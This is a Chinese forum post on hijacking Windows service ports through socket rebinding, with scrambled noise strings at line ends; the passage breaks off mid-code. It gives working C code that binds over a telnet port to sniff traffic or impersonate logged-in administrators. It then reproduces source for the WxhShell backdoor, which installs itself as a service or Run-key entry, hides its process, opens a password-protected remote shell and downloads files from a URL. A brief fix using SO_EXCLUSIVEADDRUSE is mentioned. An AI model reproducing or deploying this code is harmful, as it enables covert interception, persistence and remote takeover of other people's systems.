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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DXAA[hUjF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QE7 r{  
' vO+,-  
  saddr.sin_family = AF_INET; ^a@Vn\V1  
a_5`9BL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dB7E&"f  
?^9TtxM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 24 S,w>j  
Do}mCv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [o)P  
<o5+*X  
  这意味着什么?意味着可以进行如下的攻击: O?omL5  
n$ye:p>`-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (S+tQ2bt  
j;fmmV@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) : 0Nd4hA  
)J+vmY~&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B[^mWVp6L  
=:(8F*Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,D-VC{lj  
5H#3PZaQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @9| sNS  
eRllF` *  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >S5:zz\  
>lqWni  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RRy3N )HR  
z#b31;A@$  
  #include :0pxacD"!  
  #include 6o&{~SV3  
  #include 6.|f iQs ]  
  #include    M:h~;+s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nko;I?Fn  
  int main() [Dp6q~RM  
  { 8%Zl;;W  
  WORD wVersionRequested; +vfk+6  
  DWORD ret; zw^jIg$  
  WSADATA wsaData; /EhojODMF  
  BOOL val; ]SpUD  
  SOCKADDR_IN saddr; Bsw5A7,-  
  SOCKADDR_IN scaddr; D!TL~3d 1  
  int err; ]>K%,}PS  
  SOCKET s; 4O[T:9mn0  
  SOCKET sc; 5nzk Zw  
  int caddsize; |SXMd'<3`Z  
  HANDLE mt; 68R[Lc9q5  
  DWORD tid;   |{]\n/M  
  wVersionRequested = MAKEWORD( 2, 2 ); _ I+#K M  
  err = WSAStartup( wVersionRequested, &wsaData ); S'vi +_  
  if ( err != 0 ) { =kohQ d.n  
  printf("error!WSAStartup failed!\n"); >1xlP/4jx  
  return -1; 0Ep%&>@  
  } LOi5 ^Um|  
  saddr.sin_family = AF_INET; f;#hcRSH  
   NMmk,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :<Y,^V(  
k2N[B(&4J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o6K\z+.{  
  saddr.sin_port = htons(23); z^S=ji U++  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K~AQ) ]pJI  
  { <oTIzj7f  
  printf("error!socket failed!\n"); @v_ )(  
  return -1; Ix ! O&_6s  
  } |#$Wh+,*  
  val = TRUE; $Ne$s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OOs Y{8xM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >f4H<V-  
  { Q/r9r*>z  
  printf("error!setsockopt failed!\n"); 8.Wf^j$+{  
  return -1; Xm*gH, '  
  } c&IIqT@Gb0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v! uD]}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [Hy0j*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0Z8K+,'!  
z '3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G%-[vk#]  
  { |/[?]`  
  ret=GetLastError(); 2#ND(  
  printf("error!bind failed!\n"); Jj_E/c"  
  return -1; mu04TPj  
  } Hq"i0X m  
  listen(s,2); 8v\BW^z3  
  while(1) #g\O*oYaw  
  { wlKfTJrn&  
  caddsize = sizeof(scaddr); :84fd\It4  
  //接受连接请求 D`,W1Z#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QNJ )HNLp  
  if(sc!=INVALID_SOCKET) ".onev^(  
  { nJY#d;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _dVzvk`_R  
  if(mt==NULL) ir-srVoXy  
  { )8p FPr  
  printf("Thread Creat Failed!\n"); !"j?dQ.U;  
  break; q3TAWNzI0  
  } p)RASIB  
  } nAG2!2_8  
  CloseHandle(mt); CEq0ZL-W  
  } k?3NF:Yy7  
  closesocket(s); 5Jh=${  
  WSACleanup(); }p$>V,u  
  return 0; `WGT`A"  
  }   gUwg\>UC  
  DWORD WINAPI ClientThread(LPVOID lpParam) <43O,Kx'Su  
  { ZH;VEX  
  SOCKET ss = (SOCKET)lpParam; C|bnUN  
  SOCKET sc; ?%dsY\  
  unsigned char buf[4096]; #S)+eH  
  SOCKADDR_IN saddr; d5T M_ C  
  long num; _TY9!:&}q  
  DWORD val;  0eUK'   
  DWORD ret; 3&:Us| }  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <]xGd!x$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o8;>E>;  
  saddr.sin_family = AF_INET; =~6A c}$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^0p y  
  saddr.sin_port = htons(23); j\k|5 ="w-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uP2e/a  
  { g|ewc'y  
  printf("error!socket failed!\n"); #pO=\lJ,  
  return -1; kN_ i0~y@-  
  } n4\UoKq  
  val = 100; j>Wb$p6S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O?5uCh$H  
  { &u&+:m  
  ret = GetLastError(); ^=`7]E[p  
  return -1; 9"hH2jc  
  } $X<O\Kna  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pW$ZcnU  
  { dJxdrs  
  ret = GetLastError(); ~A^E_  
  return -1; ~SUrbRaY>  
  } g<U\7Vp\1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d1]CN6 7{G  
  { z,dh?%H>X  
  printf("error!socket connect failed!\n"); ,yc_r= _  
  closesocket(sc); #$W02L8  
  closesocket(ss); GPV=(}z  
  return -1; ZD!?mR+-  
  } %PA#x36  
  while(1) &JMp)zaI[  
  { -wn ,7;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1.Kun !w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R 6JHRd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I<E~=  
  num = recv(ss,buf,4096,0); Nini8@d  
  if(num>0) }@6Tcn1  
  send(sc,buf,num,0); D!7-(3R  
  else if(num==0) 6[+@#IWx  
  break; s1 mKz0q  
  num = recv(sc,buf,4096,0); ((0nJJjz  
  if(num>0) +/O3L=QyJ  
  send(ss,buf,num,0); (U@Ks )  
  else if(num==0) :Kq]b@ X  
  break; 9r2l~zE  
  } .cks ){\  
  closesocket(ss); Iu" 7  
  closesocket(sc); H!SFSgAu  
  return 0 ; -t#YL  
  } o6bT.{8\  
}jE [vVlRw  
,bTpD!  
========================================================== ^]rPda#  
,J;Cb}  
下边附上一个代码,,WXhSHELL a+mrsyM  
w?#s)z4}g  
========================================================== *Wj]e%  
N!~O~ Eo3  
#include "stdafx.h"  zSd!n  
deLLqdZa  
#include <stdio.h> w'uB&z4'  
#include <string.h> +H{TV#+r  
#include <windows.h> q4MR9ig1E_  
#include <winsock2.h> {,NF'x4$  
#include <winsvc.h> 76oJCNY  
#include <urlmon.h> s5s'[<  
-v %n@8p  
#pragma comment (lib, "Ws2_32.lib") j+"w2  
#pragma comment (lib, "urlmon.lib") S:(YZ%#  
"ov270:  
#define MAX_USER   100 // 最大客户端连接数 8 $qj&2 N  
#define BUF_SOCK   200 // sock buffer xeNj@\jdC5  
#define KEY_BUFF   255 // 输入 buffer NH aY&\  
/SW*y@R2l  
#define REBOOT     0   // 重启 '3|fv{I  
#define SHUTDOWN   1   // 关机 { )g $  
!jWE^@P/B  
#define DEF_PORT   5000 // 监听端口 s$gR;su)g  
aS! If>  
#define REG_LEN     16   // 注册表键长度 !i>d04u`%  
#define SVC_LEN     80   // NT服务名长度 ]\Z8MxFD  
-DuI 6K  
// 从dll定义API 'fjouO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fI v?HD:j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !!k^M"e2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p>N8g#G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [$X^r<|P@  
H\fsyxM7  
// wxhshell配置信息 +'|nsIx,  
struct WSCFG { Z% DJ{!Hnh  
  int ws_port;         // 监听端口 @{>0v"@  
  char ws_passstr[REG_LEN]; // 口令 pC~ M5(F_  
  int ws_autoins;       // 安装标记, 1=yes 0=no -e4TqzRr  
  char ws_regname[REG_LEN]; // 注册表键名 1*GL;W~ix*  
  char ws_svcname[REG_LEN]; // 服务名 fc&djd`FuX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xj9\:M-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a[_IG-l|i4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ${)oi:K@:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $35C1"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )b?$ 4<X^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uv=a}U;  
\Up~ "q>Kb  
}; b4qMTRnv  
YP Qix  
// default Wxhshell configuration h! Bg} B~  
struct WSCFG wscfg={DEF_PORT, eDsB.^|l  
    "xuhuanlingzhe", B[3u,<opFU  
    1, jp;]dyU  
    "Wxhshell", ?W>`skQ  
    "Wxhshell", QWc,JCu  
            "WxhShell Service", u69UUkG  
    "Wrsky Windows CmdShell Service", fK^W6)uuV  
    "Please Input Your Password: ", jF@BWPtF=  
  1, ]Twyj  
  "http://www.wrsky.com/wxhshell.exe", >0z`H|;  
  "Wxhshell.exe" &]h`kvtBC  
    }; d6a3\f  
dS8ydG2  
// 消息定义模块 _7z]zy@PC5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {O:{F?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aGd wuD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j 1;<3)%0  
char *msg_ws_ext="\n\rExit."; f^-ot@w  
char *msg_ws_end="\n\rQuit."; >F>VlRg  
char *msg_ws_boot="\n\rReboot..."; km*Y#`{  
char *msg_ws_poff="\n\rShutdown..."; hVz] wKP  
char *msg_ws_down="\n\rSave to "; "O'c.v?{x  
182g6/,  
char *msg_ws_err="\n\rErr!"; O/U?Wq  
char *msg_ws_ok="\n\rOK!"; HSWki';G  
{+m8^-T  
char ExeFile[MAX_PATH]; ,CI-IR2  
int nUser = 0; a>6D3n W  
HANDLE handles[MAX_USER]; Q6HghG  
int OsIsNt; A%2B3@1'q  
HC} vO0X4  
SERVICE_STATUS       serviceStatus; \HIBnkj)3n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U9\\8  
`Se2f0",  
// 函数声明 @t a:9wZ  
int Install(void); -u(,*9]cJ*  
int Uninstall(void); Lk!m1J5  
int DownloadFile(char *sURL, SOCKET wsh); \FUMfo^  
int Boot(int flag); 6J\ 2 =c`  
void HideProc(void); }L(ZLt8Q  
int GetOsVer(void); Y0Tad?iC  
int Wxhshell(SOCKET wsl); suzK)rJ9i  
void TalkWithClient(void *cs); kia[d984w  
int CmdShell(SOCKET sock); rFGPS%STS  
int StartFromService(void); k33\;9@k  
int StartWxhshell(LPSTR lpCmdLine); Zf1 uK(6X  
*;)O'|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3"zPG~fY{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a{ L&RRJ  
2WDe 34   
// 数据结构和表定义 zrqI^i"c  
SERVICE_TABLE_ENTRY DispatchTable[] = H[nco#  
{ z{|0W!nHJ  
{wscfg.ws_svcname, NTServiceMain}, =tbfBK+  
{NULL, NULL} qTK(sW  
}; %W8iC%~  
o">~ObR  
// 自我安装 Ka6u*:/  
int Install(void) I`(53LCqo  
{ `Th~r&GvF  
  char svExeFile[MAX_PATH]; O PzudO  
  HKEY key; 4D2U,Ds  
  strcpy(svExeFile,ExeFile); bf@g*~h@  
78{9@\e"0  
// 如果是win9x系统,修改注册表设为自启动 4BUG\~eI3  
if(!OsIsNt) { n?nzm "g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v$0|\)E)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .8Bu%Sf  
  RegCloseKey(key); 9tU"+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O Bcz'f~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]E-3/r$_cO  
  RegCloseKey(key); 1I`F?MT  
  return 0; _?:jZ1wZ  
    } Arg/ge.y  
  } p3Qls*  
} z bYv}q  
else { Yb^e7Eug  
f] #\&"  
// 如果是NT以上系统,安装为系统服务 u178vby;l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ovc9x\N  
if (schSCManager!=0) i%!<6K6UT  
{ pHoHngyi&  
  SC_HANDLE schService = CreateService ;&n iZKoe  
  ( '5 Yzo^R;  
  schSCManager, L /:^;j`c  
  wscfg.ws_svcname, \#(1IC`as  
  wscfg.ws_svcdisp, _qR?5;v  
  SERVICE_ALL_ACCESS, YTFU# F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EYn?YiVFU  
  SERVICE_AUTO_START, w$/lq~zU  
  SERVICE_ERROR_NORMAL, 1$eoW/8.  
  svExeFile, F$DA/{.D  
  NULL, 4VZI]3K,  
  NULL, , + G  
  NULL, Nd]F 33|X  
  NULL, g3c<c S^l  
  NULL  t1 YB  
  ); @]%eL  
  if (schService!=0) 5"@>>"3U  
  { {Y@shf;  
  CloseServiceHandle(schService); ~9 .=t'  
  CloseServiceHandle(schSCManager); 7tXy3-~biz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'bJGQ[c  
  strcat(svExeFile,wscfg.ws_svcname); Bkd$'7UT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e)wi}\:q_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _$96y]Bpi  
  RegCloseKey(key); ed`"xm  
  return 0; \894 Jqh  
    } #?Kw y  
  } 0: a2ER|J  
  CloseServiceHandle(schSCManager); $*942. =Q  
} pdRM%ug   
} ?/OF=C#  
~*7$aj  
return 1; E+i*u   
} z'm}p  
UP^8Yhdo  
// 自我卸载 !{r2`d09n)  
int Uninstall(void) @Suz-j(H  
{ f]8MdYX(  
  HKEY key; U@NCN2 I  
 >9!J?HA  
if(!OsIsNt) { mFF4qbe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >2znn&g Z  
  RegDeleteValue(key,wscfg.ws_regname); A|8"}Hm  
  RegCloseKey(key); ~jL%l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0WC\u xT7  
  RegDeleteValue(key,wscfg.ws_regname); S~);   
  RegCloseKey(key); (O{OQk;CF  
  return 0; fr/EkL1Dl  
  } ):'wxIVGI  
} 86OrJdD8  
} U;#KFZ+~  
else { &Gjpc>d  
?{qUn8f2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g %mCg P  
if (schSCManager!=0) )]j3-#  
{ (DO'iCxlNh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UsyNn39  
  if (schService!=0) Ob/)f)!!  
  { q13fmK(n-5  
  if(DeleteService(schService)!=0) { -*' ?D@l  
  CloseServiceHandle(schService); 4>=M"D hB  
  CloseServiceHandle(schSCManager); -`I|=lBz{H  
  return 0; Cw+boB_tip  
  } ?YW~7zG  
  CloseServiceHandle(schService); 9s^$tgH  
  } QMBT8x/+_'  
  CloseServiceHandle(schSCManager); rNq* z,  
} KkZx6A)$u  
} M YF ^zheD  
`-uE(qp  
return 1; ^wolY0p  
} S/XU4i:aV  
aDdGhB  
// 从指定url下载文件 \Ip)Lm0  
int DownloadFile(char *sURL, SOCKET wsh) W_2;j)i  
{ Ab ,^y  
  HRESULT hr; 'nq=xi@RC  
char seps[]= "/"; 'IX1WS&\"  
char *token; {!|4JquE_  
char *file; 3[ [oAp  
char myURL[MAX_PATH]; DzGUKJh6  
char myFILE[MAX_PATH]; }_'5Vb_  
`[sFh%:  
strcpy(myURL,sURL); R xMsP;be  
  token=strtok(myURL,seps); *)Qv;'U=rn  
  while(token!=NULL) Z6zV 9hn  
  { @3?>[R  
    file=token; XLn9NBT4K  
  token=strtok(NULL,seps); ==[=Da~  
  } ZRxOXt&;  
?$6H',u  
GetCurrentDirectory(MAX_PATH,myFILE); U*[E+Uq}:N  
strcat(myFILE, "\\"); l1 Kv`v\  
strcat(myFILE, file); 0$)Q@#  
  send(wsh,myFILE,strlen(myFILE),0); PyQ .B*JJ  
send(wsh,"...",3,0); `3F#k[IR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /Sj~lHh  
  if(hr==S_OK) +]%S}<R  
return 0; zL yI|%KH  
else /A7( `l;6  
return 1; r !Aj5  
J{ju3jo  
} +X/a+y-  
W'@ |ob  
// 系统电源模块 M- ^I!C  
int Boot(int flag) bp?5GU&Uy  
{ ln82pQD2Y~  
  HANDLE hToken; EH |+S  
  TOKEN_PRIVILEGES tkp; ,0! 2x"Q=  
v1:.t  
  if(OsIsNt) { +yP!7]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uxf,95<g)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $.jG O!  
    tkp.PrivilegeCount = 1; X+;[Gc}(W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?Zb+xNKJ(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3NpB1lgh&:  
if(flag==REBOOT) { q}P@}TE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DO: ,PZX  
  return 0; J9mK9{#q  
} <T_3s\  
else { bTD?uX!^@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cT'Bp)a  
  return 0; 4EqThvI{  
} KYpS4&Xh  
  } vXDs/,`r  
  else { x0<;Rm [u=  
if(flag==REBOOT) { .#yg=t1C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EsGu#lD2  
  return 0; O@Aazc5K  
} '3>;8(s l  
else { #%E`~&[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *E/Bfp1LIe  
  return 0; [9">}l  
} #kC~qux^  
}  ~71U s  
; JkSZs3  
return 1; Z Ts*Y,  
} y74Q(  
$wUYK%.  
// win9x进程隐藏模块 =*\.zr  
void HideProc(void) xOTvrX  
{ r{ R-X3s  
P~\rP6 ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VExhN';  
  if ( hKernel != NULL ) B(W~]i  
  { Uc tlE>X`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R:~aX,qR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 1Kf X {|  
    FreeLibrary(hKernel); ='m$ O  
  } /z-rBfdy^  
S8#0Vo$)a  
return; 9\_s&p=:.  
} Clum m@z;#  
P =X]'m_B  
// 获取操作系统版本 $Z G&d  
int GetOsVer(void) xvTtA61Vp  
{ Z@Rm^g]o  
  OSVERSIONINFO winfo; .RxTz9(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,t`V^(PEq  
  GetVersionEx(&winfo); vvxxwZa=O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pQa51nc  
  return 1; =0cTct6\  
  else 2w.FC  
  return 0; +M=h+3hw](  
} .Pm5nS  
R{@saa5I(>  
// 客户端句柄模块 <X8Urum  
int Wxhshell(SOCKET wsl) E22o-nI?1  
{ e@h{Ns.1-  
  SOCKET wsh; Bq8#'K2i,  
  struct sockaddr_in client; jW:7PS  
  DWORD myID; :4{ `c.S  
E/:U,u{  
  while(nUser<MAX_USER) | #yu  
{ if'=W6W  
  int nSize=sizeof(client);  kORWj<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /!Rva"  
  if(wsh==INVALID_SOCKET) return 1; 2|,$#V=  
Dge#e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]ae(t`\l^  
if(handles[nUser]==0) s$#64"F  
  closesocket(wsh); JT 7WZc)  
else o26Y }W  
  nUser++; L2VwW  
  } 1clzDwW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K&[0`sH!  
p\[!=ZXFr\  
  return 0; (pELd(*Ga  
} &;$uU  
?T/4 =  
// 关闭 socket &E`Nu (e  
void CloseIt(SOCKET wsh) Gpu[<Z4  
{ 0ca0-vY  
closesocket(wsh); vsI;ooR>  
nUser--; :a*>PMTn  
ExitThread(0); %wbdg&^  
} F+*E}QpM  
1EV bGe%b  
// 客户端请求句柄 Szz j9K  
void TalkWithClient(void *cs) [+WsVwyf?  
{ ?c8~VQaQ  
g V]4R"/  
  SOCKET wsh=(SOCKET)cs; M{L<aYe  
  char pwd[SVC_LEN]; z_'^=9m  
  char cmd[KEY_BUFF]; CAc]SxLh  
char chr[1]; `v?hL~  
int i,j; 0eO!,/  
UA.Tp[u  
  while (nUser < MAX_USER) { #. Dl1L/  
F.TIdkvp  
if(wscfg.ws_passstr) { ytj});,>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6O/L~Z*t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `)O9 '568  
  //ZeroMemory(pwd,KEY_BUFF); _L8&.=4]i  
      i=0; %ZRv+}z  
  while(i<SVC_LEN) { }P2*MrkcHB  
}zA|M9%E  
  // 设置超时 ;*5z&1O  
  fd_set FdRead; (lwV(M  
  struct timeval TimeOut; |e8A)xM]wC  
  FD_ZERO(&FdRead); UusAsezm:  
  FD_SET(wsh,&FdRead); moM'RO,M  
  TimeOut.tv_sec=8; 3+>R%TX6i<  
  TimeOut.tv_usec=0; =F[M>o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lsV>sW4]Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _U*R_2aV  
Rs<S}oeLn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @%g:'^/  
  pwd=chr[0]; T \34<+n1N  
  if(chr[0]==0xd || chr[0]==0xa) { ]>)}xfL &,  
  pwd=0; p YCMJK-H  
  break; 6 w!qZ4$  
  } ~a=]w#-KD  
  i++; Gad&3M0r  
    } 5@.8O VPz  
{{A=^rr%C  
  // 如果是非法用户,关闭 socket g?1bEOA!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v*excl~  
} >a@1y8B  
i_L u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1 =?pL$+G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aQhT*OT{Q  
\sGJs8#v][  
while(1) { 6jr}l  
"7 alpjwb  
  ZeroMemory(cmd,KEY_BUFF); /L,iF?7  
fpNq  
      // 自动支持客户端 telnet标准   7TX$  
  j=0; :^7_E&  
  while(j<KEY_BUFF) { CNiJuj`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I-s$U T[p  
  cmd[j]=chr[0]; ;rJ#>7K  
  if(chr[0]==0xa || chr[0]==0xd) { } 2y"F@{T  
  cmd[j]=0; `5t~ Vlp  
  break; >taT V_,  
  } @)ozgs@e  
  j++; IL8&MA%  
    } A}!D&s&UH  
-% B)+yq>  
  // 下载文件 Ft2 ZZ<As  
  if(strstr(cmd,"http://")) { bB.nevb9p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bxz6 >>  
  if(DownloadFile(cmd,wsh)) /4BYH?*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IOUzj{G#  
  else nNM)rW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z;U\h2TY  
  } 9 LEUj  
  else { imS&N.*3m  
QZ-6aq\sgp  
    switch(cmd[0]) { %c c<>Hi  
  0w^awT<$6  
  // 帮助 ~o ;*{ Q  
  case '?': { \4q1<j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @n=FSn6 c  
    break; Xo4K!U>TzZ  
  } 8-vNXvl  
  // 安装 YKj P E  
  case 'i': { ]\R%@FCYc  
    if(Install()) S1$&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NE$=R"<Gv  
    else ! +Hc(i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _{gRCR)  
    break; 0Z[8d0  
    } /Big^^u  
  // 卸载 9s6d+HhM  
  case 'r': { ~_L_un.R  
    if(Uninstall()) *C(XGX\?-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8-R; &  
    else w0t||qj^>"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  #`2*V  
    break; ?To r)>A'  
    } \xaK?_hv  
  // 显示 wxhshell 所在路径 3>sA_  
  case 'p': { :-.bXOB(  
    char svExeFile[MAX_PATH]; #PRkqg+|  
    strcpy(svExeFile,"\n\r"); O7RW*V:G@  
      strcat(svExeFile,ExeFile); n.xW"omN  
        send(wsh,svExeFile,strlen(svExeFile),0); <[GkhPfZ  
    break; -5yEd>Z  
    } djcC m5m  
  // 重启 )b AcU  
  case 'b': { MY}B)`yx=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MkG*6A  
    if(Boot(REBOOT)) F .JvMy3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',p`B-dw  
    else { 1e#}+i!a  
    closesocket(wsh); WY%'ps _]<  
    ExitThread(0); +O @0gl  
    } W`-AN}C#  
    break; %<8lLRl  
    } "V;M,/Q|  
  // 关机 @nS+!t{  
  case 'd': { h>+,ba"D  
